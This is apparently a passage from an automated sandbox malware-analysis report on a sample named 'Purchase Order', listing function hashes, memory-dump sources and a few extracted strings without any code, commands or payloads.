
Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515be0e442578d358b26a69601dc34a5301185776b1c26445c64092bdac2b6c0
Instruction ID: 38eec12eecdb9455c2e140ebe0f3041c8b4023a5dff4b0c0803bc3a4c39140bf
Opcode Fuzzy Hash: 515be0e442578d358b26a69601dc34a5301185776b1c26445c64092bdac2b6c0
Instruction Fuzzy Hash: 132137B1905204EFCB15EF58C9C0B2ABB65FB85318F20C96EE9494B3A2C736D447CA61

Uniqueness

Uniqueness Score: -1.00%

Function 06E9DCE8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba8604cb2c8653f948e3164caf170449f4fe4ae57e2dbd69e5f1ed8efe6978f
Instruction ID: 7e3b1e6725d271ed5da09a90e545a860246b6c23a30d40956f1fbb705fc91a95
Opcode Fuzzy Hash: bba8604cb2c8653f948e3164caf170449f4fe4ae57e2dbd69e5f1ed8efe6978f
Instruction Fuzzy Hash: 99117C7051630ACFD3106BB4E11C6BE7EB1EB8B312F006C989606572ECCF740900DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 01664E11 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13652ba5474dfec740b99f2d4858c807e3628f94529f2e488291dcc689b45f4d
Instruction ID: 3acc284417f05032f1dd5d81617e61cec477907f22a8ee5570cb56075652adf4
Opcode Fuzzy Hash: 13652ba5474dfec740b99f2d4858c807e3628f94529f2e488291dcc689b45f4d
Instruction Fuzzy Hash: CC2190357092099FCB15AE68EC4876A3BEAFB98711F004029F9058B355CF38DD55DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 06E996F0 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a9eb61d638227dc6025308bc4878530a8e9bd417de126720b4bcbd33525eae0
Instruction ID: 79c466d79cc3f47a6a327626728732b9a68f3c1155112308652497e90434c2b8
Opcode Fuzzy Hash: 3a9eb61d638227dc6025308bc4878530a8e9bd417de126720b4bcbd33525eae0
Instruction Fuzzy Hash: 681104367042950FCF8AAFB898651AF3FA3AFC8250B04446BD506C7391CE384E0287A2

Uniqueness

Uniqueness Score: -1.00%

Function 01661FB8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 556111a5a4462bea8cc73d5c477f3be973318c9caa80eff5e74235778ec6f472
Instruction ID: 82adccad42ffcba64638484335e6a7acc228c93be65458104e220e6d5c113a31
Opcode Fuzzy Hash: 556111a5a4462bea8cc73d5c477f3be973318c9caa80eff5e74235778ec6f472
Instruction Fuzzy Hash: 1321EF74C0120A8FCB40EFA8D9455EEBBF0FB49310F10916AD805B3224EB345A95CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06E9DDE1 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4164598632d357692599f17fcc833c449a6eeb7ffc54bb85edeb8cf659d1f24
Instruction ID: af890282fe89dd2d4a68db16a5113ddac2e852ec40ccaf4673b422e6f5c529c5
Opcode Fuzzy Hash: e4164598632d357692599f17fcc833c449a6eeb7ffc54bb85edeb8cf659d1f24
Instruction Fuzzy Hash: 2101DD34B062545FDB051ABA6C545BFEFDBAFD9351B14C477E606C3295CD388C0582B1

Uniqueness

Uniqueness Score: -1.00%

Function 0166DBD8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d49dcabcdd81c65ee8e8074dfd292d96076ba631e4c6058c75429e9c4c9ddbd
Instruction ID: 780a3471282a7c8af932c55920ad5a32b08ad34e5998da18de2b0dfda1b383e7
Opcode Fuzzy Hash: 9d49dcabcdd81c65ee8e8074dfd292d96076ba631e4c6058c75429e9c4c9ddbd
Instruction Fuzzy Hash: 20211AB0A0010A9FDB44EFADD58479EBBF2FB44300F04D56AD408AB365EB749A85DB81

Uniqueness

Uniqueness Score: -1.00%

Function 06E991D8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fec853dd06bbd7f49206bb2ab0137ae327974436fbd644d95bdfc354e212c2e
Instruction ID: 6df456e51978221ce52f44add0a8f869c1961886636b80db7fd4fc9f169c8cc7
Opcode Fuzzy Hash: 7fec853dd06bbd7f49206bb2ab0137ae327974436fbd644d95bdfc354e212c2e
Instruction Fuzzy Hash: 841112B68003499FDF20CF99C945BEEBBF5EF48324F14841AE918A7211C379A950DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06E98EC1 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834d830e9c60d50ccdf3a7f443ede757c748349b456e4cbe3866ef90f23a2125
Instruction ID: 06b814950bbe94b4aafc27266d219cc5da91cfbf19b947b2f37e11b5d3d2e3a3
Opcode Fuzzy Hash: 834d830e9c60d50ccdf3a7f443ede757c748349b456e4cbe3866ef90f23a2125
Instruction Fuzzy Hash: 96110078F002498FDF40DFE8D950BDEBBB2EF49315F10A455E908A7355E73099828B61

Uniqueness

Uniqueness Score: -1.00%

Function 0166DBE8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834ef1f0a50fbf8105b211c9b3018700510e0e5cd5072e887da99f92e60d9cde
Instruction ID: ac6bc82025146fbdbf6235aa8415befe62b784a74eb72becd8968832ad14f9cd
Opcode Fuzzy Hash: 834ef1f0a50fbf8105b211c9b3018700510e0e5cd5072e887da99f92e60d9cde
Instruction Fuzzy Hash: BF114FB0E0020A9FDB44EFADD54469EBBF1FB44300F00D569D004AB365EB745A85DB81

Uniqueness

Uniqueness Score: -1.00%

Function 06E9DCE1 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7640de6a88aa60d4d86ba978df70ebe82183fee0e96f2ca75c990de493a192e1
Instruction ID: 57c547d2ac632905e7d13896d3a265d21b20e061c19f08b5abef1f9158c1b8f0
Opcode Fuzzy Hash: 7640de6a88aa60d4d86ba978df70ebe82183fee0e96f2ca75c990de493a192e1
Instruction Fuzzy Hash: C5016D70942309DFD750ABB4E11C7BE7FB1EB4B312F006959D505532A8CB740A40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0166565F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6311c7dfb6e0e9f42e562cb0c62d049ba221aa996aa70745471267d4da857bde
Instruction ID: 9c1b9889ab8c6a2db145eeae4be690069a1d57230d21a5c7c69ec17bad077651
Opcode Fuzzy Hash: 6311c7dfb6e0e9f42e562cb0c62d049ba221aa996aa70745471267d4da857bde
Instruction Fuzzy Hash: 5D01D2727012596FCB029E69DC00AEF3BEADBD8690B14802AF916C7354CB758D16DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06E99999 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2d8776019dcd5d071d745f328d3364ba3b4cf65383407c654dac8731cbe419a
Instruction ID: 2cfdd3cbee307a6e0b533287cdc94fc4b095b61558ade5efb9a5ff04e6df9bf6
Opcode Fuzzy Hash: e2d8776019dcd5d071d745f328d3364ba3b4cf65383407c654dac8731cbe419a
Instruction Fuzzy Hash: 9D1112B6800249DFDB10CF99C945BDEBBF4EF48324F18841AE528A7291C379A554DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06E92670 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 868c4c8c66022401bcb881128ecc37c802a0fb6eb72cc89bf021f55a11700c61
Instruction ID: fcb17f023466ac2f4c3ebf6068865ee9d35dcd0b1fc1848342a1e66eb4c7b23c
Opcode Fuzzy Hash: 868c4c8c66022401bcb881128ecc37c802a0fb6eb72cc89bf021f55a11700c61
Instruction Fuzzy Hash: 0F11C0B5B212228FCB94EF7CE50866E3BF1EF88611B0104A9E805DB315EB35CD05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06E925E8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1099817f0134eec80127906cc4ded768b9ed0eeaac5fda268c5a0e52ef624124
Instruction ID: b1571b75738a3e7f0fa8984d8d8a67bff479cdae7e39c3008fa058218320a4e9
Opcode Fuzzy Hash: 1099817f0134eec80127906cc4ded768b9ed0eeaac5fda268c5a0e52ef624124
Instruction Fuzzy Hash: 3401E471E1031A9FCF48EFB988446EEBBF5BF48200F00816AD919E7254E7385A01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06E99760 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca887cf78ad2b18c3e043bf00e3d1f5bf7c072650148eeb3042b5d1b581ef1cf
Instruction ID: 89a749c63d5c3f634cc741cf0aae997772a36a12e90a94848463492c71691097
Opcode Fuzzy Hash: ca887cf78ad2b18c3e043bf00e3d1f5bf7c072650148eeb3042b5d1b581ef1cf
Instruction Fuzzy Hash: C8F089373002196FCF055E999C419EF7BABFFC8250B40442EFA05C7351DE31491557A5

Uniqueness

Uniqueness Score: -1.00%

Function 01662068 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e27d67378288f6bf5b6418e43b488f5ebf8af7c0daa9cf71913eecf4d92087
Instruction ID: c758d782251ade0d6edb53adfaa0afea1d8daa3ca62e40e5cb0b93472df8d73f
Opcode Fuzzy Hash: d0e27d67378288f6bf5b6418e43b488f5ebf8af7c0daa9cf71913eecf4d92087
Instruction Fuzzy Hash: 43E092319202669FCB01EBA4EC454DEFB74AEC6310B154666D810B7155EB302729C761

Uniqueness

Uniqueness Score: -1.00%

Function 01662078 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25cc931afa7a52401ca3333666ec3f59ad03d917dee911704cae1b9583c5186a
Instruction ID: eef81e55a18710681684a9a98b29a2baeac054be9c35fad894fcd2d0b64e3e16
Opcode Fuzzy Hash: 25cc931afa7a52401ca3333666ec3f59ad03d917dee911704cae1b9583c5186a
Instruction Fuzzy Hash: 76D05B35D2022B97CB01E7A5EC044DFF738EED6261B544626D91437154FB702659C6F1

Uniqueness

Uniqueness Score: -1.00%

Function 016682B8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: a2245728cf83cf76cd55d11fa1cb6172df6ba20ed2695d339bfd399204cd2bf1
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 1AC08C7320C6282AA235509E7C40EE3BB8CC3C13B4A210137FA1CE3302A8429C8101F4

Uniqueness

Uniqueness Score: -1.00%

Function 0166A76D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f3c2073c8fc789d6beff12a7c421ceae5a5849ac1bc12aae223d7ea5c91895e
Instruction ID: d6fec51d833f925360005bf542a1e82722b2b210de1bb9f43c4228d35d7ee803
Opcode Fuzzy Hash: 3f3c2073c8fc789d6beff12a7c421ceae5a5849ac1bc12aae223d7ea5c91895e
Instruction Fuzzy Hash: 6DD0677AB410189FCF049F98E8808DDB7B6FB9C221B048156EA15A7265C6319921DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01665F00 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41716dc03aed2ee9e69502ae2647e937c47dc120efd526e251129f4c6526cde8
Instruction ID: 5a6f24f0e54226093306c6595629ebd63abfc9873afad8c78d526a72ae0444a7
Opcode Fuzzy Hash: 41716dc03aed2ee9e69502ae2647e937c47dc120efd526e251129f4c6526cde8
Instruction Fuzzy Hash: 3AD02EB06083824FC606F338FA5A4443BB2EAC0204B44989EA8088A82BED781C8D4322

Uniqueness

Uniqueness Score: -1.00%

Function 01665F10 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 917da85ad0e05acbb9a05b83ff8cb39bc35440bb5f084e49d94f378dbf072bff
Instruction ID: 44a9c59453552e6a0402c779c74b4dfb196f4ca3bebfdfd9779575d1e86d36d7
Opcode Fuzzy Hash: 917da85ad0e05acbb9a05b83ff8cb39bc35440bb5f084e49d94f378dbf072bff
Instruction Fuzzy Hash: 8CC0127030430A4BC505F779F98995537AAF7C0200F406955B4090611ADE7C2CC45692

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06E92807 Relevance: 14.1, Strings: 11, Instructions: 387COMMON

Download Yara Rule

Strings

0omp, xrefs: 06E92A00
PHfq, xrefs: 06E92BEA
", xrefs: 06E93087
PHfq, xrefs: 06E92CF6
PHfq, xrefs: 06E92DEB
PHfq, xrefs: 06E92CE2
PHfq, xrefs: 06E92BFE
PHfq, xrefs: 06E92DD7
Hjq, xrefs: 06E92869
PHfq, xrefs: 06E92EE6
PHfq, xrefs: 06E92ED2

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID: "$0omp$Hjq$PHfq$PHfq$PHfq$PHfq$PHfq$PHfq$PHfq$PHfq
API String ID: 0-3533979995
Opcode ID: 69e501787d9eaa14a273ae143eec0f70b69907db9e2a9a980f2f1841221b82d6
Instruction ID: 19fe6a85c9b90afd631dd348236f47209462495871aff071701e81b973f6b5fb
Opcode Fuzzy Hash: 69e501787d9eaa14a273ae143eec0f70b69907db9e2a9a980f2f1841221b82d6
Instruction Fuzzy Hash: 7C12C2B4E012188FDB58DFA9D984B9DBBF2BF89300F1080A9D509AB394DB755E85DF10

Uniqueness

Uniqueness Score: -1.00%

Function 0166E310 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5~q, xrefs: 0166E42B

Memory Dump Source

Source File: 00000002.00000002.4124412884.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1660000_Purchase Order.jbxd

Similarity

API ID:
String ID: .5~q
API String ID: 0-3585553848
Opcode ID: 924c5b50ea4cf6a452c8cd64d27bd0b8e2687dd0701c93477dd8d52ef1f04913
Instruction ID: 63f648d61ab5bfc404f7285dd2f6fcfa3c74d92a53c6df7e08da008638a03576
Opcode Fuzzy Hash: 924c5b50ea4cf6a452c8cd64d27bd0b8e2687dd0701c93477dd8d52ef1f04913
Instruction Fuzzy Hash: 39529D74E01229CFDB64DF69D984B9DBBB2BB89300F1081EAD509A7354DB35AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E933B8 Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

0omp, xrefs: 06E93423

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp
API String ID: 0-313708406
Opcode ID: 4938d35127ef7565334755b3820c14154d04a9e297f7bf1764eeab18a78c12ed
Instruction ID: 4c652cf5a5a9d579981be0bf6c7d73b19ecb9d44373a75b3d8c7e1b9b231a01a
Opcode Fuzzy Hash: 4938d35127ef7565334755b3820c14154d04a9e297f7bf1764eeab18a78c12ed
Instruction Fuzzy Hash: DBB19574E10218CFDB54DFA9D984A9DBBB2FF89310F1081A9D919AB365DB30AD81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E933A8 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

0omp, xrefs: 06E93423

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0omp
API String ID: 0-313708406
Opcode ID: 7041ad6d27bdb75d32fc7dfd78d356b744a5ad5527d5b469358061b644a08fff
Instruction ID: d947454e6820ac5254cea9c3f3eff060b9d8d9c2a3b8151f5c03a97fb34b4782
Opcode Fuzzy Hash: 7041ad6d27bdb75d32fc7dfd78d356b744a5ad5527d5b469358061b644a08fff
Instruction Fuzzy Hash: 41518274E01608CFDB48DFAAD984A9DBBF2FF89300F249169D419AB365DB349942CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E95EC8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e891abe64cb38352fe57e808ba2f7c9a1f05b1e0146bc720bb18558a6956fb
Instruction ID: 6a400d805b6622ddb23ad543c5271fabf5a5b73fa6da62860c2d9c4043b8ab31
Opcode Fuzzy Hash: 33e891abe64cb38352fe57e808ba2f7c9a1f05b1e0146bc720bb18558a6956fb
Instruction Fuzzy Hash: CFC1BF74E01218CFDB54DFA9D984B9DBBB2EF89304F2090AAD809AB355DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E95A70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb4278d7bf32f3b31ef7a4db46b7f9a87bd80e794c547beb5439f3ebb0e56e
Instruction ID: a61722cdf815c09ac5282b0a2ee517a67055431adf059efee73df5f656cf305b
Opcode Fuzzy Hash: 4ccb4278d7bf32f3b31ef7a4db46b7f9a87bd80e794c547beb5439f3ebb0e56e
Instruction Fuzzy Hash: 19C1A074E01218CFDB54DFA9D984B9DBBB2EF89300F2090AAD409AB354DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E95618 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b049975d01a195bfddeb2de9ad5c0c1cdc18be2ecccce291ef00c316b530ec6
Instruction ID: ebeed12f9b3ff95918b4dd55d49e9b499a882627fa84a05b521fe723f749234d
Opcode Fuzzy Hash: 8b049975d01a195bfddeb2de9ad5c0c1cdc18be2ecccce291ef00c316b530ec6
Instruction Fuzzy Hash: D9C1BF74E01218CFDB54DFA9D984B9DBBB2EF89300F2090AAD809AB355DB745E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E96BD0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb3d6b12fce39b85a1273af9ee5ecbf4d425f356ad48ac963df2dcf24296492
Instruction ID: 14bda6b9148d7a670e0a74f3f69c8c4b438c2e135df6af244456e15cb2d2087c
Opcode Fuzzy Hash: 5bb3d6b12fce39b85a1273af9ee5ecbf4d425f356ad48ac963df2dcf24296492
Instruction Fuzzy Hash: 28C1A074E01218CFEB54DFA9D984B9DBBB2EF89304F2090AAD409AB354DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E96778 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d774f03e3c6e3ebec2a4ecf0841d1fdac81a435359da3b81136fc5d547abdd0
Instruction ID: 79434f1a5fdc03bf8d14f1067886d88d23100344e93e9a3de74b5dc1c6cfd0d2
Opcode Fuzzy Hash: 0d774f03e3c6e3ebec2a4ecf0841d1fdac81a435359da3b81136fc5d547abdd0
Instruction Fuzzy Hash: BBC1A074E01218CFEB54DFA9D984B9DBBB2EF89304F2090AAD409AB354DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E96320 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb1ac500385673c28254c00f003427c3438bbd3284a1acf6d842e48a866e1446
Instruction ID: b12892b7b3d52626bee17bbb48bc0cb74195084bc3a117516a8982f2b0dd91ca
Opcode Fuzzy Hash: cb1ac500385673c28254c00f003427c3438bbd3284a1acf6d842e48a866e1446
Instruction Fuzzy Hash: BBC1AF74E01218CFEB54DFA9D994B9DBBB2EF89300F2090AAD409AB355DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E908F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5bfeaa46f763bfa82f8e7ae740f9edbcf9ab3bf240194a61433389fb1c81352
Instruction ID: 30c71c991ad49b15a96f6ac80b0d73d26cc8c230c143117cb581cf51b0e91202
Opcode Fuzzy Hash: a5bfeaa46f763bfa82f8e7ae740f9edbcf9ab3bf240194a61433389fb1c81352
Instruction Fuzzy Hash: 4BC1AE74E01218CFDB54DFA9D984B9DBBB2EF89304F2090AAD809AB355DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E974A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac32f03930541231aa8ce74439f0531d92a54a21c9abc91aafeaf566ea9671c
Instruction ID: 2202cc22f3ac4bae72e79d815f07984d30d88a0de90cdc8a44667c1c0b1076af
Opcode Fuzzy Hash: cac32f03930541231aa8ce74439f0531d92a54a21c9abc91aafeaf566ea9671c
Instruction Fuzzy Hash: AEC1AF74E01218CFDB54DFA9D984B9DBBB2EF89300F2090AAD809AB355DB345E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06E90498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4128089200.0000000006E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e90000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 104413803947eaee37ba11e5dba1359bc8793f5e7244cc0a49f52600eb92816d
Instruction ID: d6c94cbd54ea097ff6b3e8de3e5afed9a1bc7c3071ae9bf40d1812109a9f2106
Opcode Fuzzy Hash: 104413803947eaee37ba11e5dba1359bc8793f5e7244cc0a49f52600eb92816d
